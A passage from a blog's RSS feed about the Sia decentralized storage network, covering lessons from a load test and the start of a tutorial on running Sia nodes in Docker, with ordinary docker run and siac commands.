&lt;p&gt;One challenge is that these providers typically don’t provide options for local disks above 1 TB. To work around this, I’ve added a &lt;code class=&quot;highlighter-rouge&quot;&gt;--dataset_copies&lt;/code&gt; flag to &lt;a href=&quot;https://github.com/mtlynch/sia_load_tester&quot;&gt;sia_load_tester&lt;/a&gt;. Using this flag, the test operator can tell Sia to cycle through the input files N times. So if you have 50 GiB of files, you can specify &lt;code class=&quot;highlighter-rouge&quot;&gt;--dataset_copies=205&lt;/code&gt; so that sia_load_tester reuploads that file set 205x to simulate 10 TiB of input data.&lt;/p&gt;

&lt;h3 id=&quot;bandwidth-is-a-first-class-citizen&quot;&gt;Bandwidth is a first-class citizen&lt;/h3&gt;

&lt;p&gt;The biggest metric I failed to account for was bandwidth. I knew I couldn’t measure bandwidth cleanly since I’d be doing other things over the course of the test that competed for bandwidth like downloading files or watching 4K streaming videos on Netflix. So I didn’t give much thought to measuring bandwidth precisely.&lt;/p&gt;

&lt;p&gt;I now realize that bandwidth matters a great deal for Sia. Sia has high up-front costs, so it approaches cost-effectiveness after ~1 TB of file data. But a solution that’s inexpensive after 1 TB uploaded is useless if bandwidth is too slow to upload 1 TB in a reasonable amount of time.&lt;/p&gt;

&lt;p&gt;There are use-cases that Sia can support if average file upload bandwidth is 100 Mbps that aren’t viable at 50 Mbps. And there are use-cases at 300 Mbps that aren’t viable at 100 Mbps, etc. So, it’s important to measure Sia’s true file data bandwidth so that potential customers understand what Sia can do.&lt;/p&gt;

&lt;p&gt;My tests also failed to measure Sia’s bandwidth overhead from non-file activity, such as the overhead of sending operational messages to other Sia peers. Most software deployments are constrained by bandwidth, either by metered costs or limited capacity. If Sia uploads at a file data bandwidth of 5 Mbps but requires 50 Mbps of absolute bandwidth on the wire to achieve that, that’s important for customers to know. Future iterations of this test should measure absolute bandwidth at the network device level to measure Sia’s total bandwidth consumption.&lt;/p&gt;

&lt;h3 id=&quot;set-more-realistic-bandwidth-minimums&quot;&gt;Set more realistic bandwidth minimums&lt;/h3&gt;

&lt;p&gt;In the &lt;a href=&quot;/files/sia-load-test-preview/load-test-plan-2018-02-14.pdf&quot;&gt;test plan&lt;/a&gt;, I specified that the test should terminate when Sia stops making upload progress for at least one hour, where “progress” was defined as &amp;gt;= 3 Mbps of absolute bandwidth. This was far too low and tracked the wrong metric.&lt;/p&gt;

&lt;p&gt;Instead, the bandwidth minimum should be in terms of &lt;a href=&quot;/load-test-3/#file-data-bandwidth-vs-absolute-bandwidth&quot;&gt;file data bandwidth&lt;/a&gt;, not absolute bandwidth. Sia could upload at 1 Gbps, but that’s not useful if it’s using the bandwidth just to upload the same file to 11.3x redundancy. File data bandwidth measures what a real consumer cares about: the time it takes to upload their files to Sia.&lt;/p&gt;

&lt;p&gt;3 Mbps was also far too low a minimum. At 3 Mbps, it takes 33 days just to upload 1 TB of file data. I can’t imagine any realistic use-case where the consumer would be willing to tolerate a bandwidth so low.&lt;/p&gt;

&lt;p&gt;I propose that a more realistic minimum is 50 Mbps of file data bandwidth averaged over the last 24 hours (equivalent to uploading ~500 GiB per day).&lt;/p&gt;

&lt;h3 id=&quot;increase--file-sizes-for-best-case-scenario&quot;&gt;Increase  file sizes for best-case scenario&lt;/h3&gt;

&lt;p&gt;One of the surprising outcomes of the load test was that the real data scenario outperformed the worst-case scenario.&lt;/p&gt;

&lt;p&gt;It turned out that Sia performed better with a small set of very large files than a large set of ~40 MiB files. A better representation of Sia’s best-case performance would use files that are ~20 GiB each (or, more precisely, 21474693120 bytes so that they’re exactly 512x Sia’s chunk size, maximizing Sia’s file packing efficiency).&lt;/p&gt;

&lt;h3 id=&quot;increase-file-sizes-for-worst-case-scenario&quot;&gt;Increase file sizes for worst-case scenario&lt;/h3&gt;

&lt;p&gt;To test Sia’s performance in its worst-case scenario, I uploaded thousands of 1-byte files. It was interesting to see Sia handle this input, but the resulting metrics were so extreme that they’re meaningless.&lt;/p&gt;

&lt;p&gt;Some readers gave feedback that performance tests should ignore Sia’s performance on small files and focus only on large files. I think that would be a mistake. It would be like reporting the performance characteristics of a car under the assumption that its minimum speed is 120 mph. That might be the car’s ideal performance speed, but real-world users want to know how it performs in real-world conditions.&lt;/p&gt;

&lt;p&gt;There are few practical use-cases where the user has a dataset consisting entirely of immutable files &amp;gt;1 GB in size. Some have suggested that the solution is as easy as building file repacking middleware, but I think such middleware would be more complex than people realize. I’m skeptical that Sia can be cost-effective for any client if they first have to spend several hundred thousand dollars in dev costs to implement their own file repacking layer on top of Sia.&lt;/p&gt;

&lt;p&gt;On the other hand, 1-byte files are too extreme. I don’t think any existing cloud provider &lt;a href=&quot;https://therub.org/2015/11/18/glacier-costlier-than-s3-for-small-files/&quot;&gt;performs well with such small files&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I propose adjusting the minimum file size to be 4 KB. It’s low enough that it’s representative of Sia as a general-purpose storage solution but not so extreme that metadata and packaging dominate the measurement on Sia or other cloud storage providers.&lt;/p&gt;

&lt;h3 id=&quot;automate-automate-automate&quot;&gt;Automate, automate, automate&lt;/h3&gt;

&lt;p&gt;The performance tests need to be as automatic as possible. The more that’s automated, the less margin there is for human error and the easier it is for different researchers to reproduce results.&lt;/p&gt;

&lt;p&gt;I tried to automate wherever I could, but it’s always difficult to know what needs automating until you follow a process end-to-end. There are two key parts to this test that require more automation: provisioning and analysis.&lt;/p&gt;

&lt;p&gt;By provisioning, I mean:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Installing Sia on the test machine&lt;/li&gt;
  &lt;li&gt;Installing test tools on the test machine&lt;/li&gt;
  &lt;li&gt;Funding the Sia wallet&lt;/li&gt;
  &lt;li&gt;Generating dummy data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I performed these steps manually for each test and documented the commands in the &lt;a href=&quot;https://github.com/mtlynch/sia_load_tester&quot;&gt;sia_load_tester README&lt;/a&gt;, but it would be better to capture this logic in a single script or Ansible playbook (using &lt;a href=&quot;https://github.com/mtlynch/ansible-role-sia&quot;&gt;ansible-role-sia&lt;/a&gt;, of course).&lt;/p&gt;

&lt;p&gt;The analysis stage also needs better automation for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Creating data visualizations from &lt;a href=&quot;https://github.com/mtlynch/sia_metrics_collector&quot;&gt;sia_metrics_collector&lt;/a&gt;’s output&lt;/li&gt;
  &lt;li&gt;Calculating relevant metrics ($/TB, price estimate accuracy, etc.) from the outputs of sia_load_tester and sia_metrics_collector.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the load test, I created a &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1ep-m_2K5hY9nF_D4TgKyGpp9arB6F3xPA7PJwQnskeg/edit?usp=sharing&quot;&gt;Google Sheets template&lt;/a&gt; to calculate these metrics and create visualizations. That was a passable v1 solution but is not a good long-term solution because it requires the test operator to perform ad-hoc calculations and manually upload CSVs to Google Sheets any time they want to check progress.&lt;/p&gt;

&lt;p&gt;A better solution would be a web app that runs on the test system so that the test operator can view the visualizations and stats in their browser in real time as the test progresses.&lt;/p&gt;

&lt;h2 id=&quot;why-im-not-continuing-these-tests&quot;&gt;Why I’m not continuing these tests&lt;/h2&gt;

&lt;p&gt;I originally conceived of these tests because I considered building a software company on top of Sia. I had a few different ideas for businesses that could capitalize on Sia’s low advertised storage costs, but I needed hard data to understand how Sia performed in the real world.&lt;/p&gt;

&lt;p&gt;Having completed the tests, I don’t believe that any of my initial business ideas will be feasible on Sia, so I’m moving on to other projects. I will continue to watch and write about Sia, but I can’t invest the amount of time it takes to perform these tests and analyses.&lt;/p&gt;

&lt;p&gt;My side-goal of this testing was to demonstrate the value of metrics. I hope that I’ve achieved this. For Sia to mature, it needs regular, reliable measurement so that the community can understand where the problem areas are. It also shows potential customers what use-cases are feasible and cost-effective on Sia.&lt;/p&gt;

&lt;p&gt;There is a group of volunteers discussing a plan for running these tests on an ongoing basis for each new version of Sia. If you’re interested in helping these efforts, email me at &lt;a href=&quot;mailto:michael@spaceduck.io&quot;&gt;michael@spaceduck.io&lt;/a&gt;, and I’ll put you in touch with them.&lt;/p&gt;

&lt;h2 id=&quot;test-plan&quot;&gt;Test plan&lt;/h2&gt;

&lt;p&gt;I performed this test according to the “Sia Load Test Plan” document that I &lt;a href=&quot;/sia-load-test-preview/&quot;&gt;originally opened for feedback&lt;/a&gt; on Feb. 7th, 2018 and &lt;a href=&quot;/files/sia-load-test-preview/load-test-plan-2018-02-14.pdf&quot;&gt;finalized&lt;/a&gt; on Feb. 14th, 2018.&lt;/p&gt;

&lt;p&gt;I ran all tests according to the defined plan with the one exception that I added a maximum time limit of 14 days per test case. I made this amendment after the first test case ran for almost 25 days without making significant upload progress. I wanted to stick to the plan as much as possible to avoid biasing the results, but I worried that letting the test run unbounded would be prohibitively time-consuming and delay results too long.&lt;/p&gt;

&lt;h2 id=&quot;test-tools&quot;&gt;Test tools&lt;/h2&gt;

&lt;p&gt;All tools I used in this test are open source, fully documented, and available on Github under the permissive &lt;a href=&quot;https://choosealicense.com/licenses/mit/&quot;&gt;MIT license&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mtlynch/sia_load_tester/&quot;&gt;sia_load_tester&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mtlynch/sia_metrics_collector&quot;&gt;sia_metrics_collector&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mtlynch/dummy_file_generator&quot;&gt;dummy_file_generator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;acknowledgments&quot;&gt;Acknowledgments&lt;/h2&gt;

&lt;p&gt;Thanks to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The Sia bounty fund for providing the Siacoins used in these tests.&lt;/li&gt;
  &lt;li&gt;Luke Champine, James Muller, Salvador Herrera for their contributions to the test plan.&lt;/li&gt;
  &lt;li&gt;David Vorick for providing feedback about test results.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;corrections&quot;&gt;Corrections&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Sia developer David Vorick &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/8fo0ba/sia_load_test_wrapup/dy636qy/&quot;&gt;corrected&lt;/a&gt; my misunderstanding of Sia’s contract renewal strategy. I’ve updated &lt;a href=&quot;#contract-spending-is-unintuitive&quot;&gt;that section&lt;/a&gt; with the additional information.&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Sat, 28 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/load-test-wrapup/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/load-test-wrapup/</guid>
      </item>
    
      <item>
        <title>Fun with Sia and Docker</title>
        <description>&lt;p&gt;Over the past few weeks, I’ve been working on a full-featured Docker image for Sia. If you have Docker, you can now spin up a Sia node in seconds with a single command. Running Sia within Docker gives you more power and provides helpful tools for development or experimentation.&lt;/p&gt;

&lt;p&gt;In this blog post, I’ll show you how to use the Sia Docker image to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Easily test pre-release versions of Sia&lt;/li&gt;
  &lt;li&gt;Prevent Sia from hogging system resources&lt;/li&gt;
  &lt;li&gt;Run Sia on a NAS device&lt;/li&gt;
  &lt;li&gt;Automatically restart Sia on failure&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-docker&quot;&gt;What is Docker?&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; is a technology for building app containers. It allows you to build the minimal environment necessary to run an app, then run it on any OS that supports Docker.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2018-04-18-sia-docker/docker-logo.png&quot; alt=&quot;Docker logo&quot; srcset=&quot;         https://spaceduck.mtlynch.io/images/2018-04-18-sia-docker/docker-logo.png 260w&quot; sizes=&quot;260px&quot; class=&quot; &quot; style=&quot;max-width:260px&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;following-the-examples&quot;&gt;Following the examples&lt;/h2&gt;

&lt;p&gt;To follow the examples in this post, you’ll need Docker. &lt;a href=&quot;https://store.docker.com/search?offering=community&amp;amp;type=edition&quot;&gt;Docker Community Edition&lt;/a&gt; is free and available for every major OS.&lt;/p&gt;

&lt;p&gt;If you’d like to play with Docker before deciding whether to install it on your system, all of these examples work with &lt;a href=&quot;https://labs.play-with-docker.com/&quot;&gt;Play with Docker&lt;/a&gt;, a Docker-enabled terminal that runs in your browser with no signup whatsoever.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-18-sia-docker/play-with-docker.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-18-sia-docker/play-with-docker.png&quot; alt=&quot;Play with Docker screenshot&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-18-sia-docker/372/play-with-docker.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-18-sia-docker/672/play-with-docker.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-18-sia-docker/756/play-with-docker.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-18-sia-docker/840/play-with-docker.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-18-sia-docker/play-with-docker.png 1421w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; &quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Running the Sia container on Play with Docker&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;Play with Docker’s disk is limited to ~10 GiB, so there’s not enough space to fully sync the Sia blockchain, but you can test out the commands and see Sia begin its sync process.&lt;/p&gt;

&lt;h2 id=&quot;sia-docker-examples&quot;&gt;Sia Docker examples&lt;/h2&gt;

&lt;h3 id=&quot;basic-usage&quot;&gt;Basic usage&lt;/h3&gt;

&lt;p&gt;The commands below show basic usage of the Sia Docker image:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9982:9982 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    mtlynch/sia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The shell capture below demonstrates these commands in action:&lt;/p&gt;

&lt;script src=&quot;https://asciinema.org/a/sfDVIHYX3KtS8im1U6GhwuTiG.js&quot; id=&quot;asciicast-sfDVIHYX3KtS8im1U6GhwuTiG&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;In the session capture above, I:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;created a &lt;code class=&quot;highlighter-rouge&quot;&gt;sia-data&lt;/code&gt; directory on the host machine so that Sia can persist its data across containers.&lt;/li&gt;
  &lt;li&gt;launched a Docker container from the &lt;code class=&quot;highlighter-rouge&quot;&gt;mtlynch/sia&lt;/code&gt; image, which always contains the latest release version of Sia.&lt;/li&gt;
  &lt;li&gt;ran &lt;code class=&quot;highlighter-rouge&quot;&gt;siac&lt;/code&gt; from within the Docker container to check sync status.&lt;/li&gt;
  &lt;li&gt;ran &lt;code class=&quot;highlighter-rouge&quot;&gt;siac&lt;/code&gt; from within the Docker container to verify the version of Sia running.&lt;/li&gt;
  &lt;li&gt;ran &lt;code class=&quot;highlighter-rouge&quot;&gt;ls sia-data&lt;/code&gt; from the host terminal to verify that Sia’s data folders appear from the host.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;run-the-latest-development-build&quot;&gt;Run the latest development build&lt;/h3&gt;

&lt;p&gt;Curious what the Sia dev team is putting into the next Sia release? The Sia Docker image supports the &lt;code class=&quot;highlighter-rouge&quot;&gt;dev&lt;/code&gt; tag, which allows you to run the latest development version of Sia in seconds.&lt;/p&gt;

&lt;p&gt;You don’t have to set up a Go environment or compile any code. I configured a daily job to do that for you. Every day, it will pull down the latest source tree from Sia’s &lt;a href=&quot;https://github.com/NebulousLabs/Sia&quot;&gt;master branch&lt;/a&gt; and build a fresh snapshot on &lt;a href=&quot;https://hub.docker.com/r/mtlynch/sia/builds/&quot;&gt;Docker Hub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To run the latest dev snapshot, enter the following commands:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9982:9982 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   mtlynch/sia:dev
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia-container ./siac version
Sia Client
        Version 1.3.2
        Git Revision 8533b8c0
        Build Time   Wed Apr 18 04:01:58 UTC 2018
Sia Daemon
        Version 1.3.2
        Git Revision 8533b8c0
        Build Time   Wed Apr 18 04:01:58 UTC 2018
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The git revision shows that the build is based on &lt;a href=&quot;https://github.com/NebulousLabs/Sia/commit/8533b8c0&quot;&gt;commit 8533b8c0&lt;/a&gt;, which was added on 2018-04-17, so this is indeed the latest dev branch at the time of this writing.&lt;/p&gt;

&lt;h3 id=&quot;run-old-versions-of-sia&quot;&gt;Run old versions of Sia&lt;/h3&gt;

&lt;p&gt;If you want to run an old version of Sia, the Docker image makes it easy. It supports tags for every release back to 1.0.1:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9982:9982 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   mtlynch/sia:1.0.1
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia-container ./siac version
Sia Client v1.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sia versions prior to 1.3.1 can’t fully sync the blockchain due to &lt;a href=&quot;https://redd.it/7p9ll1&quot;&gt;the hardfork&lt;/a&gt; that occurred at block 139,000, but it’s still interesting to play with old versions to see how Sia has evolved.&lt;/p&gt;

&lt;h3 id=&quot;run-sia-with-constrained-resources&quot;&gt;Run Sia with constrained resources&lt;/h3&gt;

&lt;p&gt;Sia’s resource footprint can grow very large. Perhaps you’d like to prevent Sia from starving other processes on your server. Docker makes it easy to &lt;a href=&quot;https://docs.docker.com/config/containers/resource_constraints/&quot;&gt;limit the CPU and RAM resources&lt;/a&gt; that Sia consumes.&lt;/p&gt;

&lt;p&gt;As an extreme example, I tried running Sia with only 20 MiB of RAM, no swap space, and half a CPU:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9982:9982 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--cpus&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0.5&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--memory&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;20m&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--memory-swap&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;20m&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   mtlynch/sia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Surprisingly, Sia ran successfully. The blockchain sync was incredibly slow, but it ran overnight without ever crashing:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker stats &lt;span class=&quot;nt&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;table {{.Container}}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{{.CPUPerc}}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{{.MemUsage}}&quot;&lt;/span&gt;

CONTAINER           CPU %               MEM USAGE / LIMIT
bbcdc2a7bab4        0.57%               19.9MiB / 20MiB
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia-container ./siac
Synced: No
Height: 18940
Progress &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;estimated&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: 11.9%
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;setting-up-a-sia-host&quot;&gt;Setting up a Sia host&lt;/h3&gt;

&lt;p&gt;If you’re running Sia as a data host, Docker is a highly useful tool. If Sia ever crashes, Docker can automatically restart and unlock your node,  preserving your host’s uptime.&lt;/p&gt;

&lt;p&gt;To begin, create a bare Sia node with the &lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt; module enabled:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--env&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SIA_MODULES&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;gctw&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   mtlynch/sia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then wait for Sia to fully sync the blockchain:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia-container ./siac consensus
Synced: Yes
Block:      0000000000000000e464b18e2baf219dde8570b54216fa4d9f8cefb5454aed4f
Height:     150773
